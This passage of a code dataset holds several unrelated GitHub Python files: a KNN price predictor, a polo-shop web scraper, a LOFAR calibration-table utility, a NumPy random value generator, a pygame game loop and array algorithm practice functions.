y_train)\r\nnew_mobile_data = pd.DataFrame({\r\n 'battery_power': [float(input(\"Enter battery power: \"))],\r\n 'ram': [float(input(\"Enter RAM size: \"))],\r\n 'n_cores': [float(input(\"Enter number of cores: \"))],\r\n 'px_height': [float(input(\"Enter pixel height: \"))],\r\n})\r\npredicted_price_range = knn.predict(new_mobile_data)\r\nprint(\"Predicted Price Range for the New Mobile:\", predicted_price_range)\r\ny_pred = knn.predict(X_test)\r\naccuracy = accuracy_score(y_test, y_pred) * 100\r\nprint(\"Accuracy\",accuracy)\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(\"confusion matrix\",cm)\r\n","repo_name":"Girishmareddy/ITA0624--Machine-learning","sub_path":"17.mobile prediction.py","file_name":"17.mobile prediction.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27726935899","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom config import insertdb\r\nfrom get_html import getHTML, getSoup\r\nfrom product_details import gettype\r\nfrom get_price import getPrice\r\nfrom errors import addError\r\n\r\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n# WILLOUGHBY PARK POLO WEBSITE\r\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\n\r\ndef getWPData(soup):\r\n nameList = []\r\n priceList = []\r\n imgList = []\r\n linkList = []\r\n\r\n\r\n for divtag in soup.find_all(\"div\", {\"class\": \"main-gallery-item col-md-3 col-sm-4 col-xs-6\"}):\r\n name = divtag.find('h4')\r\n nameList.append(name.text)\r\n #print (name.text)\r\n price = divtag.find('p')\r\n #priceList.append(divtag.find('p'))\r\n price =(getPrice(price.text))\r\n priceList.append(price)\r\n #print (price)\r\n img= divtag.find('img')\r\n imgList.append(img.get('src'))\r\n #print(img.get('src'))\r\n link = name.find('a')\r\n link = link.get('href')\r\n #print(\"https://www.wppologear.co.uk/shop\" + link[5:])\r\n linkList.append(\"https://www.wppologear.co.uk/shop\" + link[2:])\r\n\r\n x = 0\r\n\r\n while x < len(nameList):\r\n newRow = []\r\n try:\r\n #print(\"price = \" + getPrice(priceList[x]))\r\n newRow.append(imgList[x])\r\n newRow.append(linkList[x])\r\n newRow.append(nameList[x])\r\n result = (gettype(nameList[x]))\r\n newRow.append(result[0])\r\n newRow.append(result[1])\r\n newRow.append(result[2])\r\n newRow.append(result[3])\r\n newRow.append(result[4])\r\n newRow.append(priceList[x])\r\n #print(newRow)\r\n\r\n insertdb(newRow[0], newRow[1], newRow[2], newRow[3], newRow[4], newRow[5], newRow[6], newRow[7], newRow[8], \"willoughby park polo\")\r\n except IndexError:\r\n print(\"product incomplete\")\r\n addError(\"willoughby park\")\r\n x = x + 1\r\n\r\n\r\n\r\n\r\n\r\ndef WilloughbyPark():\r\n urlList = [\"https://www.wppologear.co.uk/shop/polo/default.aspx\"\r\n ]\r\n\r\n\r\n print(\"\\n\" + \"\\n\" + \"Connecting to WILLOUGHBY PARK POLO WEBSITE\" + \"\\n\" + \"\\n\")\r\n\r\n\r\n x = 0\r\n\r\n for i in urlList:\r\n x += 1\r\n try:\r\n HTML = getHTML(i)\r\n #print(\"hello\")\r\n soup = getSoup(HTML)\r\n getWPData(soup)\r\n except:\r\n print(\"could not connect to webpage\")\r\n print(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" + \"\\n\"\r\n + \"PAGE IS FINISHED \" + str(x) + \"\\n\" + \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\r\n","repo_name":"chevaro1/polo-web-scraper","sub_path":"old_websites/willoughby_park.py","file_name":"willoughby_park.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3311097096","text":"#!/usr/bin/python\n\"\"\"Provides support for handling LOFAR calibration tables.\n\nLOFAR caltables are files on the station (and included in\nthe './share/CalTables/' directory) that contain estimated corrective complex\ngains for each subband and each rcu per band. They also contain metadata\nabout e.g. when they were made.\n\nThe format of a caltable is an complex array indexed by [subband,rcunr].\nTo apply them to data, one uses the generic formula:\n V' = g.*V.*g^H\n g = C[subband,:]\nwhere the rcunr index is implicit, C is the full caltable, g is a vector of gains for one\nsubband and V is a visibility matrix.\n\"\"\"\nimport os\nimport numpy\nimport datetime\nimport argparse\nimport warnings\nimport matplotlib.pyplot as plt\n\nimport ilisa.operations.modeparms as iom\n\n__version__ = '0.3'\nCALTABDIRROOT = os.path.join(os.path.dirname(__file__), 'share/CalTables/')\n\n\ndef _default_caltab_filename(stnid, rcumode):\n \"\"\"Get default filename of a LOFAR station calibration table.\n \"\"\"\n caltabfilename = 'CalTable_'+stnid[2:]+'_mode'+rcumode+'.dat'\n return caltabfilename\n\n\ndef find_caltabpath(rcumode, stnid, obsdatestr=None):\n \"\"\"Find appropriate caltab file based on rcumode stnid and observation\n date.\n \"\"\"\n def adddatestr(_cthist, _ctfilename, _ctheader):\n use_date = 'Calibration'\n if use_date == 'Observation':\n datestr = _ctheader['Observation']['Date']\n datestr = datestr[:8]+'T'+datestr[8:]+'00'\n else:\n datestr = _ctheader['Calibration']['Date']\n datestr = datestr+'T120000'\n _cthist[datestr] = _ctfilename\n caltabdirroot = CALTABDIRROOT\n caltabdirstn = os.path.join(caltabdirroot, stnid)\n # In practice rcumode 4 uses rcumode 3's caltab\n # while rcumode 6 uses rcumode 5's caltab.\n # So map accordingly\n if rcumode == '4':\n rcumode = '3'\n warnings.warn(\"Using caltab for rcumode 3 instead.\")\n if rcumode == '6':\n rcumode = '5'\n warnings.warn(\"Using caltab for rcumode 5 instead.\")\n caltabfilename = _default_caltab_filename(stnid, rcumode)\n caltabarchive = os.path.join(caltabdirstn, 'old_data/')\n caltabarchive_exists = os.path.isdir(caltabarchive)\n if obsdatestr is not None and caltabarchive_exists:\n # Need to determine most appropriate caltab to use\n caltabstndatestr = os.listdir(caltabarchive)\n cthist = {}\n for ctdir in caltabstndatestr:\n ctfullpath = os.path.join(caltabarchive, ctdir, caltabfilename)\n try:\n (cttable, ctheader) = read_caltabfile(ctfullpath)\n except RuntimeError:\n continue\n adddatestr(cthist, ctfullpath, ctheader)\n # Get latest:\n ctfullpath = os.path.join(caltabdirstn, 'data', caltabfilename)\n (caltab_latest, ctheader_latest) = read_caltabfile(ctfullpath)\n adddatestr(cthist, ctfullpath, ctheader_latest)\n obsdate = datetime.datetime.strptime(obsdatestr, \"%Y-%m-%d\")\n cthistdates = list(cthist.keys())\n caltabdates = [datetime.datetime.strptime(d, \"%Y%m%dT%H%M%S\")\n for d in cthistdates]\n difobscal = [abs(obsdate - d) for d in caltabdates]\n caltabpath = cthist[cthistdates[difobscal.index(min(difobscal))]]\n else:\n if obsdatestr is not None and not caltabarchive_exists:\n warnings.warn('No archived caltables; getting default caltable.')\n caltabpath = os.path.join(caltabdirstn, 'data', caltabfilename)\n return caltabpath\n\n\ndef read_caltabfile(caltabfile):\n \"\"\"Readin a calibration table file by name.\n \n Parameters\n ----------\n caltabfile : str\n The name of the calibration table file.\n \n Returns\n -------\n caltab : (512, 192) array\n The calibration (gains) table: 0-axis=subband, 1-axis=rcunr\n header : dict\n The header of the calibration table file.\n \"\"\"\n \n try:\n fin = open(caltabfile, 'rb')\n headline = fin.readline().decode('UTF-8').rstrip()\n if headline != 'HeaderStart':\n raise RuntimeError(\"{} is not a CalTable file.\".format(caltabfile))\n except (OSError, RuntimeError):\n raise RuntimeError(\"Cannot use {} as CalTable file.\".format(caltabfile))\n observation = {}\n calibration = {}\n comment = []\n while True:\n headline = fin.readline().decode('UTF-8').rstrip()\n if headline == 'HeaderStop':\n break\n (caltabheadmark, caltableheadline) = headline.split('.', 1)\n var, val = caltableheadline.split('=', 1)\n var = var.rstrip(' ')\n val = val.lstrip(' ')\n if var == 'Comment':\n comment.append(val)\n else:\n cat, key = var.split('.', 1)\n if cat == 'Observation':\n observation[key] = val\n elif cat == 'Calibration':\n calibration[key] = val\n # Assume that max nr of subbands (ilisa.operations.modeparms.TotNrOfsb)\n # is always 512, while nr of RCUs (ilisa.operations.modeparms.nrofrcus)\n # may differ:\n caltab = numpy.fromfile(fin, dtype='c16').reshape(\n (iom.TotNrOfsb, -1))\n # nrrcus = caltab.shape[1]\n fin.close()\n header = {'Observation': observation,\n 'Calibration': calibration,\n 'Comment': comment}\n return caltab, header\n\n\ndef write_caltabfile(filename, caltab, observation, calibration, comments):\n \"\"\"Write a calibration table to file. Inverse of read_caltabfile().\"\"\"\n fout = open(filename, 'w')\n fout.write('HeaderStart\\n')\n for k in observation.keys():\n fout.write('CalTableHeader.Observation.'+k+' = '+observation[k]+'\\n')\n for k in calibration.keys():\n fout.write('CalTableHeader.Calibration.'+k+' = '+calibration[k]+'\\n')\n for c in comments:\n fout.write('CalTableHeader.Comment = '+c+'\\n')\n fout.write('HeaderStop\\n')\n caltab.tofile(fout)\n fout.close()\n\n\ndef create_caltabfile(stnid, rcumode, caltab=None):\n \"\"\"\n Create a calibration table file\n\n Sets gains for all rcus and all subbands to 1.\n \"\"\"\n # Default filename\n ctfname = _default_caltab_filename(stnid, rcumode)\n # Init caltab\n if not caltab:\n nrrcus = iom.nrofrcus\n nrsbs = iom.TotNrOfsb\n caltab = numpy.ones((nrrcus, nrsbs), dtype='c16')\n # Init header\n band = iom.rcumode2band(rcumode)\n antset = iom.band2antset(band)\n header_observation = {'Station': stnid, 'Mode': rcumode,\n 'AntennaSet': antset, 'Band': band, 'Source': '',\n 'Date': ''}\n user = os.environ.get('USER')\n now = datetime.datetime.utcnow()\n header_calibration = {'Version': '0', 'Name': user,\n 'Date': now.strftime('YYYYmmdd'),\n 'PPSDelay': '[]'}\n header_comment = ['Initial CalTable created with iLiSA']\n write_caltabfile(ctfname, caltab, header_observation, header_calibration,\n header_comment)\n\n\ndef getelemgainampdel(caltab):\n \"\"\"Get the amplitudes and delays for the element (rcu) gains in the given\n calibration table.\"\"\"\n (nrsbs, nrrcus) = caltab.shape\n ampsrcusb = numpy.abs(caltab)\n ampsrcu = numpy.mean(ampsrcusb, axis=0)\n argsrcusb = numpy.unwrap(numpy.angle(caltab))\n fs = numpy.arange(nrsbs)\n o = numpy.ones((nrsbs,))\n beta = numpy.asarray([fs, o]).T\n betainv = numpy.linalg.pinv(beta)\n delay_n_phasercu = numpy.dot(betainv, argsrcusb)\n reconstruct = True\n if reconstruct:\n caltabr = numpy.outer(numpy.ones((nrsbs,)), ampsrcu) * numpy.exp(1j*(\n delay_n_phasercu[1, :]+numpy.outer(fs, delay_n_phasercu[0, :])))\n assert numpy.allclose(caltab, caltabr)\n return ampsrcu, delay_n_phasercu\n\ndef print_caltab(caltab, header):\n \"\"\"\n Print out a calibration table file\n\n Parameters\n ----------\n caltab: array\n Caltable data array.\n header: dict\n Caltab file Header\n \"\"\"\n print('Header:')\n print(' '+'Observation:')\n for k in header['Observation']:\n print(' '+k+':', header['Observation'][k])\n print(' '+'Calibration:')\n for k in header['Calibration']:\n print(' '+k+':', header['Calibration'][k])\n print(' '+'Comment:', header['Comment'])\n print('CalTable:')\n rcumode = header['Observation']['Mode']\n nqz = iom.rcumode2nyquistzone(rcumode)\n print('Freq[Hz]', *['RCU' + str(rcunr) for rcunr in range(caltab.shape[1])])\n for sbnr in range(caltab.shape[0]):\n freq = iom.sb2freq(sbnr, nqz)\n print(freq, *caltab[sbnr, :])\n\n\ndef plot_caltab(caltab, header):\n \"\"\"Plot a calibration table.\"\"\"\n plt.subplot(211)\n plt.pcolormesh(numpy.abs(caltab.T))\n plt.xlabel('subband [#]')\n plt.ylabel('RCU [#]')\n plt.title('Gain (Abs)\\nRCU mode: '+header['Observation']['Mode'])\n plt.colorbar()\n plt.subplot(212)\n plt.pcolormesh(numpy.rad2deg(numpy.angle(caltab.T)))\n plt.xlabel('subband [#]')\n plt.ylabel('RCU [#]')\n plt.title('Gain (Phase)\\nRCU mode: '+header['Observation']['Mode'])\n plt.colorbar()\n plt.show()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(dest='subparser_name',\n help='sub-command help')\n # 'show' command\n parser_show = subparsers.add_parser('show',\n help='Show contents of caltab file.')\n parser_show.add_argument('caltab_path',\n help=\"LOFAR calibration table file\")\n # 'find' command\n parser_find = subparsers.add_parser('find',\n help=\"\"\"Find caltab file for\n rcumode, stnid, obsdate\"\"\")\n parser_find.add_argument('rcumode', help=\"Band of observation.\")\n parser_find.add_argument('stnid', help=\"Station ID of observation.\")\n parser_find.add_argument('date', nargs='?', default=None,\n help=\"Date of observation. Format: YYYY-mm-dd\")\n # 'create' command\n parser_create = subparsers.add_parser('create',\n help='Create a caltab file.')\n parser_create.add_argument('rcumode',\n help=\"Rcumode of calibration table file\")\n parser_create.add_argument('stnid', help=\"Station ID of observation.\")\n\n args = parser.parse_args()\n if args.subparser_name == 'show':\n caltab_cur, header_cur = read_caltabfile(args.caltab_path)\n print_caltab(caltab_cur, header_cur)\n plot_caltab(caltab_cur, header_cur)\n elif args.subparser_name == 'find':\n print(find_caltabpath(args.rcumode, args.stnid, args.date))\n elif args.subparser_name == 'create':\n create_caltabfile(args.stnid, args.rcumode)\n","repo_name":"2baOrNot2ba/iLiSA","sub_path":"ilisa/antennameta/calibrationtables.py","file_name":"calibrationtables.py","file_ext":"py","file_size_in_byte":10823,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"23064544599","text":"import numpy as np\nfrom numpy.lib.recfunctions import _get_fieldspec as fields\nfrom .utils import isscalar, issubarray, isstruct, to_tuple, maybe_dict_get, uniform_dist\nimport warnings\n\nclass NumPyRVG:\n '''\n The NumPy Random Value Generator.\n Generates random scalars (if `samples` is not given) or arrays of a certain type.\n The type can be either a primitive one, a scalar or a struct.\n '''\n def __init__(self, **kwargs):\n '''\n kwargs can contain exactly one of the following:\n dtype: A dtype for the generated values\n limit: An integer that will be used as the\n numerical limits of the generated values (-limit, limit)\n limits: An iterable with two integers, a and b,\n that will be used as the numerical limits of the generated values (a, b)\n '''\n\n kwargs_error_msg = 'exactly one of the following arguments is needed: `dtype`, `limit`, `limits`'\n\n if len(kwargs) != 1:\n raise AttributeError(kwargs_error_msg)\n\n dtype = kwargs.get('dtype')\n limit = kwargs.get('limit')\n limits = kwargs.get('limits')\n\n if all(x is None for x in [dtype, limit, limits]):\n raise AttributeError(kwargs_error_msg)\n\n ### 3 mutually exclusive cases follow (mutual exclusiveness has just been checked) ###\n\n # case 1: `limit` was given\n if limit:\n if not isinstance(limit, int):\n raise TypeError('argument `limit` must be an integer greater than 0')\n if limit <= 0:\n raise ValueError('argument `limit` must be a number greater than 0')\n self.a, self.b = -limit, limit\n\n # case 2: `limits` was given\n if limits:\n try:\n a, b = limits\n except (TypeError, ValueError) as e:\n raise type(e)('argument `limits` must be an iterable with exactly 2 integers')\n if a >= b:\n raise ValueError('the lower limit must be strictly less than the upper limit')\n self.a, self.b = a, b\n if b < 0 and dtype is None:\n warnings.warn(\n 'value ' + str(b) + ' as the upper limit will cause a runtime error if generation of values of unsigned type is attempted',\n Warning,\n stacklevel=2\n )\n\n self.dtype = dtype\n\n def __call__(self, arg=None, shape=None, dist=None, type_limits=True):\n if self.dtype is not None:\n if arg is None:\n raise TypeError('missing 1 required argument describing the limit(s)')\n return self.random(self.dtype, arg, shape, dist, type_limits)\n elif self.a is not None:\n if arg is None:\n raise TypeError('missing 1 required argument describing the dtype')\n return self.random(arg, (self.a, self.b), shape, dist, type_limits)\n raise NotImplementedError('this call can not be served')\n\n def random(self, dtype, params, shape=None, dist=None, type_limits=True):\n dist = dist or uniform_dist\n dtype = np.dtype(dtype)\n\n def gen(dtype, params, shape):\n if isstruct(dtype):\n r = np.empty(shape or 1, dtype=dtype)\n for field_name, field_dtype in fields(dtype):\n field_params = maybe_dict_get(params, field_name)\n # there may be tuples as names, e.g. ('x', 's0')\n try:\n r[field_name] = gen(field_dtype, field_params, shape)\n except IndexError:\n r[field_name[0]] = gen(field_dtype, field_params, shape)\n return r if shape else r[0]\n elif issubarray(dtype):\n item_dtype, sub_shape = dtype.subdtype\n field_shape = to_tuple(shape) + sub_shape\n return gen(item_dtype, params, field_shape)\n elif isscalar(dtype):\n try:\n return dtype.type(dist(dtype, params, shape, type_limits))\n except TypeError:\n return dtype.type(dist(dtype, params, shape))\n else:\n raise NotImplementedError(dtype)\n\n return gen(dtype, params, shape)\n","repo_name":"zehanort/rvg","sub_path":"rvg/numpyrvg/numpyrvg.py","file_name":"numpyrvg.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"32694669186","text":"import pygame\nfrom game import GessGame\nfrom constants import WIDTH, HEIGHT, SQUARE_SIZE\n\nFPS = 30\n\nWIN = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Gess\")\n\n\ndef get_row_col_from_click(pos):\n x, y = pos\n row = y // SQUARE_SIZE\n col = x // SQUARE_SIZE\n return row, col\n\n\ndef main():\n run = True\n clock = pygame.time.Clock()\n game = GessGame(WIN)\n\n while run:\n clock.tick(FPS)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n pos = pygame.mouse.get_pos()\n row, col = get_row_col_from_click(pos)\n game.select(row, col)\n\n game.update()\n\n\nmain()\n","repo_name":"phoenixaustin81/Gess-Game-Interactive","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16111088276","text":"def two_sum(arr, target):\n \"\"\"given an arr and a target, return indices of two elements that add up to\n target.\n\n guaranteed to have a solution.\"\"\"\n elements_dict = {}\n\n for x in range(len(arr)):\n elements_dict[arr[x]] = x\n\n for x in range(len(arr)):\n if target - arr[x] in elements_dict and elements_dict[target-arr[x]] != x:\n return [arr[x], target-arr[x]]\n\ndef best_time_to_buy_and_sell_stock(arr):\n \"\"\"the intuition behind this algorithm is that you want the min element on the left\n hand side and the max element on the right hand side. Such when u subtract,\n you get profit. The apporoach im thinking of is you keep a min variable keeping tracking\n of each new minimum. This is because whenever we find a value lower than our current_min,\n we have the possibility that there might be number to its right that\n gives us a greater profit.\"\"\"\n\n min = arr[0]\n max_profit = 0\n\n for x in range(1, len(arr)):\n if arr[x] < min:\n min = arr[x]\n\n else:\n if arr[x] - min > max_profit:\n max_profit = arr[x] - min\n\n return max_profit\n\n\ndef three_sum_equality(arr1, arr2):\n arr1_element_count = {}\n arr_2_element_count = {}\n for x in range(3):\n if arr1[x] in arr1_element_count:\n arr1_element_count[arr1[x]] += 1\n\n else:\n arr1_element_count[arr1[x]] = 1\n\n if arr2[x] in arr_2_element_count:\n arr_2_element_count[arr2[x]] += 1\n\n else:\n arr_2_element_count[arr2[x]] = 1\n\n return arr1_element_count == arr_2_element_count\n\n\n\ndef three_sum(arr):\n '''given an arr, return the indices of three indices that sum up to 0.\n\n the intuition behind this problem is that two sum finds TWO integers that add up to\n a value. 0 = X + Y + Z. If we have x fixed, we can do a check to find if there's\n two values that sum to 0-x.\n\n x + y + z = 0\n\n y + z = 0-x.'''\n solutions = []\n for x in range(len(arr)):\n two_sum_result = two_sum(arr[:x] + arr[x+1:], 0-arr[x])\n\n if two_sum_result:\n list_of_values = [arr[x], two_sum_result[0], two_sum_result[1]]\n\n unique = True\n\n for sets in solutions:\n if three_sum_equality(list_of_values, sets):\n unique = False\n if unique:\n solutions.append(list_of_values)\n\n return solutions\n\n\ndef product_of_array_except_self(arr):\n \"\"\"given an array arr, return an output array such that output[i] = product of all\n elements in arr except ar[i].\n\n The simple O(N) time approach would be to use division.\n\n \"\"\"\n\n total_product = 1\n output = []\n for elements in arr:\n total_product *= elements\n\n for elements in arr:\n output.append(total_product/elements)\n\n return output\n\n\ndef product_of_array_without_divison(arr):\n \"\"\"\n same q as above but try to do it without division.\n This approach calculates the product for each element to its left, and to its right.\n and then calculates the overall product without that element.\n \"\"\"\n left_products = []\n cur_product = 1\n last_value = 1\n for x in range(len(arr)):\n new_prod = cur_product*last_value\n left_products.append(new_prod)\n last_value = arr[x]\n cur_product = new_prod\n right_products= [0]*len(arr)\n cur_product = 1\n last_value = 1\n for x in range(len(arr)-1,-1,-1):\n new_prod = cur_product*last_value\n right_products[x] = new_prod\n last_value = arr[x]\n cur_product = new_prod\n\n output = []\n for x in range(len(arr)):\n output.append(left_products[x] * right_products[x])\n\n return output\n\ndef odd_even(arr):\n \"\"\"partition the arr in such a way such that all even elements come before alll\n the odd elements.\"\"\"\n\n curr_even = 0\n last_odd = len(arr)-1\n\n while curr_even < last_odd:\n if arr[curr_even] % 2 != 0:\n arr[curr_even], arr[last_odd] = arr[last_odd], arr[curr_even]\n last_odd -= 1\n\n else:\n curr_even += 1\n\ndef dutch_partitioning_problem(arr, pivot):\n \"\"\"partition the array such that all elements less than the pivot appear first, followed\n by elements equaling the pivot and then finally elements greater than pivot.\n \"\"\"\n\n # first pass, bring all small elements to front..\n\n small = 0\n\n for x in range(len(arr)):\n if arr[x] < pivot:\n arr[x], arr[small] = arr[small],arr[x]\n small += 1\n\n larger = l\n for x in range(len(arr)-1,-1,-1):\n if arr[x] < pivot:\n break\n\n elif arr[x] > pivot:\n arr[x], arr[larger] = arr[larger], arr[x]\n larger -=1\n\ndef array_partition_1(arr):\n \"\"\"given an array of 2n elements, find the maximum sum that can found by summing up\n min (a, b) such that a and b are elements of arr.\"\"\"\n\n sorted_arr = sorted(arr)\n sum = 0\n for x in range(0, len(arr), 2):\n sum += sorted_arr[x]\n\n return sum\n\ndef majority_element(arr):\n elements_counter = {}\n\n for elements in arr:\n if elements in elements_counter:\n elements_counter[elements] += 1\n\n else:\n elements_counter[elements] = 1\n\n\n max_key = None\n max_counter = None\n\n for elements in arr:\n if max_key:\n if elements_counter[elements] > max_counter:\n max_counter = elements_counter[elements]\n max_key = elements\n\n else:\n max_key = elements\n max_counter = elements_counter[elements]\n\n return max_key\n\ndef plus_one(arr):\n \"\"\"given an arr of integers, add 1 to it.\"\"\"\n\n output_reversed = []\n carried = 1\n for x in range(len(arr)-1,-1,-1):\n sum_number = arr[x] + carried\n\n if sum_number > 10:\n carried = 1\n output_reversed.append(sum_number % 10)\n\n else:\n carried = 0\n output_reversed.append(sum_number)\n output = []\n for x in range(len(output_reversed)-1,-1,-1):\n output.append(output_reversed[x])\n\n return output\n\ndef merge_two_sorted_arrays(arr1, arr2):\n arr1_counter = 0\n arr2_counter = 0\n merged = []\n while arr1_counter < len(arr1) and arr2_counter < len(arr2):\n if arr1[arr1_counter] < arr2[arr2_counter]:\n merged.append(arr1[arr1_counter])\n arr1_counter += 1\n\n else:\n merged.append(arr2[arr2_counter])\n arr2_counter += 1\n\n return merged + arr1[arr1_counter:] + arr2[arr2_counter:]\n\n\ndef move_zeroes(arr):\n \"\"\"move all zeroes to the end.\"\"\"\n\n zero = len(arr)-1\n non_zero = 0\n\n while non_zero < zero:\n if arr[non_zero] == 0:\n arr[non_zero], arr[zero] = arr[zero], arr[non_zero]\n zero -=1 # since we know that element is now a zero.\n\n else:\n non_zero += 1 # since we know this element is not a zero.\n\ndef best_time_to_buy_and_sell_stock_ii(arr):\n \"\"\"\n the algorithm I am thinking of for this question is for now a brute force approach.\n\n algorithm :\n\n - iterate through the array, consider buying for that day.\n - find the next greater element that has a lower element after it.\n - if no lower element, simply find the max between this element and the end\n of the array. break the loop.\n\n - if lower element, use the next greater element.\n\n - if no greater element, profit is 0 for the day and move to the next element.\n \"\"\"\n\n profits = []\n current_index = 0\n\n while current_index < len(arr):\n buy_price = arr[current_index]\n next_greater_element, lower_after_next_greater_element = None, None\n iterator = current_index + 1\n\n while iterator < len(arr):\n if next_greater_element:\n if arr[iterator] < arr[next_greater_element]:\n lower_after_next_greater_element = iterator\n break\n else:\n if arr[iterator] > arr[current_index]:\n next_greater_element = iterator\n\n iterator += 1\n\n if next_greater_element:\n if lower_after_next_greater_element:\n sell_price = max(arr[current_index+1:lower_after_next_greater_element])\n current_index = lower_after_next_greater_element\n\n else:\n sell_price = max(arr[current_index+1:])\n current_index = len(arr)\n\n profits.append(sell_price - buy_price)\n\n else:\n profits.append(0)\n current_index += 1\n\n return sum(profits)\n\n\ndef best_time_to_buy_and_sell_stock_II_optimized(arr):\n \"\"\"this is optimized approach of buy and sell stock II. In O(n) time and space.\n\n The algorithm Im thinking of is:\n\n - initially, set the buy price to the first element (if no first element,\n 0 profit overall, return 0)\n - iterate through the array trying to find a sell price for the current buy price we just\n in.\n - if we find an element that is greater than our buy price, we declare that as a\n potential sell price. Notice that I said potential sell price and not just sell price.\n This is because there might be an element after the potential sell price\n that is greater than the current sellprice. We will have a determined sell price\n when we find an element after the sell price that is LOWER than the current sell price.\n that is when we sell the stock and buy it at the new price we just found.\n - Before we have sold our stock or found a potential sell price, if we see an element\n that is lower than the current buy price, we set our new price to that amount.\n this is because any profit we could have made at the earlier price, we are guaranteed\n to make more now that we have an even lower price.\n \"\"\"\n if arr == []:\n return 0\n\n buy_price = arr[0]\n potential_sell_price = None\n curr_index = 0\n profits = []\n\n while curr_index < len(arr):\n if not potential_sell_price: # no potential sell price for the price we bought at, try to find a sell price.\n if arr[curr_index] > buy_price:\n potential_sell_price = arr[curr_index]\n else: # found a price lower than current buy price.\n buy_price = arr[curr_index]\n\n else: # there is a potential sell price, we either confirm to sell or try to find a better price.\n if arr[curr_index] < potential_sell_price: # found a price lower than the sell price.\n # we can confirm the previous sale and buy at a new price.\n profits.append(potential_sell_price - buy_price)\n potential_sell_price = None\n buy_price = arr[curr_index]\n\n elif arr[curr_index] > potential_sell_price: # found an even better sell price.\n # since this is greater, we can ensure greater profit.\n potential_sell_price = arr[curr_index]\n\n curr_index += 1\n\n if potential_sell_price:\n profits.append(potential_sell_price - buy_price)\n\n return sum(profits)\n\n\ndef remove_duplicates_from_sorted_array(arr):\n \"\"\"\n remove duplicates from sorted array.\n\n The algorithm I am thinking of is that we start iterating through the array,\n and keep a variable keeping track of the last valid element, so that we have something\n to compare the current element with.\n\n initially, when we start the loop, our variable to compare with is the first element.\n\n however, before comparing any element, we should see if there's a None element in the\n list that we previously set. If there is, first we place the current element in that None\n spot in the list, and make the current element None.\n\n \"\"\"\n\n if len(arr) > 1:\n element_to_compare_with = 0\n none_element = None\n\n for x in range(1, len(arr)):\n current_valid_index = x\n if none_element: # handle the case, first we have to make a swap with the none\n # element.\n arr[none_element] = arr[x]\n current_valid_index = none_element\n arr[x] = None\n\n if arr[current_valid_index] == arr[element_to_compare_with]:\n arr[current_valid_index] = None\n none_element = current_valid_index\n\n else:\n element_to_compare_with += 1\n\n if none_element:\n none_element += 1\n\n\ndef find_all_duplicates_in_array(arr):\n \"\"\"tricky algorithm.\n\n the key idea is that for any index i in arr, arr[i]-1 is a valid index.\n\n we iterate through the array. We check the index of arr[x] - 1.\n because thats a valid index. if that index is negative, it means there was another\n element with that value, therefore duplicate.\n\n \"\"\"\n output = []\n\n for x in range(len(arr)):\n index_to_check = abs(arr[x])-1\n\n if arr[index_to_check] < 0:\n output.append(index_to_check+1)\n else:\n arr[index_to_check] = -arr[index_to_check]\n\n return output\n\ndef merge_intervals(intervals):\n \"\"\"given a collection of intervals, merge all overlapping intervals.\"\"\"\n\n merged_intervals = []\n\n if intervals:\n intervals = sorted(intervals, key=lambda x: x[0])\n merged_intervals.append(intervals[0])\n\n for x in range(1, len(intervals)):\n if merged_intervals[-1][0]<=intervals[x][0]<=merged_intervals[-1][1]:\n merged_intervals[-1][1] = intervals[x][1]\n\n else:\n merged_intervals.append(intervals[x])\n\n return merged_intervals\n\n\ndef container_with_most_water(arr):\n \"\"\"\n The intutition behind this algorithm is that we will have two pointers,\n looking at the area.\n later we move the pointer with the lower height. This is because the greater\n the height, the greater the area.\"\"\"\n\n l_pointer = 0\n r_pointer = len(arr)-1\n area = 0\n\n while l_pointer < r_pointer:\n min_height = min(arr[l_pointer], arr[r_pointer])\n area = max([(r_pointer - l_pointer)*min_height, area])\n\n if arr[l_pointer] == min_height:\n l_pointer += 1\n\n else:\n r_pointer -= 1\n\n return area\n\ndef three_sum_closest(arr, target):\n \"\"\"3sum closest problem, find 3 elements that are the closest to target.\"\"\"\n result = arr[0]+arr[1]+arr[2]\n arr = sorted(arr)\n for x in range(len(arr)):\n l_pointer = x+1\n r_pointer = len(arr)-1\n\n while l_pointer < r_pointer:\n cur_sum = arr[x] + arr[l_pointer] + arr[r_pointer]\n\n if cur_sum > target:\n r_pointer -=1\n\n else:\n l_pointer += 1\n\n if abs(target - cur_sum) < abs(target - result):\n result = cur_sum\n\n return result\n\ndef two_sum_sorted(arr, target):\n \"\"\"given a sorted array, find two elements that add up to target.\"\"\"\n\n l_pointer = 0\n r_pointer = len(arr) - 1\n\n while l_pointer < r_pointer:\n if arr[l_pointer] + arr[r_pointer] == target:\n return [arr[l_pointer], arr[r_pointer]]\n\n elif arr[l_pointer] + arr[r_pointer] > target:\n r_pointer -= 1\n\n else:\n l_pointer += 1\n\ndef next_greater_permutation(arr):\n \"\"\"\n Algorithm:\n\n Find the first i from the right such that arr[i] > arr[i-1].\n\n swap arr[i-1] with the smallest element in arr[i:] that is greater than arr[i-1].\n Let's call that element n.\n\n notice how even after the swap everything in arr[i:] is still 